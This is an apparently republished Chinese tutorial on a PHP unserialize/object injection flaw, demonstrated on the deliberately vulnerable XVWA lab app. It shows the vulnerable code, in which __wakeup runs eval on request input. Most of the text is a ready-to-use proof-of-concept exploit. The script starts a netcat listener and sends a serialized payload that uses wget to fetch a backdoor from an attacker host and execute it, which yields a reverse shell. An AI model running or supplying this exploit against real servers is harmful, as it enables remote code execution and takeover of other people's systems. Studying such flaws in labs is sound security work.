Home  >  Article  >  php教程  >  PHP序列化/对象注入漏洞分析,php序列化注入漏洞

PHP序列化/对象注入漏洞分析,php序列化注入漏洞

WBOY
WBOYOriginal
2016-06-13 08:41:311131browse

PHP序列化/对象注入漏洞分析,php序列化注入漏洞

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "
".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< &#63;php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//&#63;r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
&#63; >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<&#63;php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/&#63;r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
&#63; >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn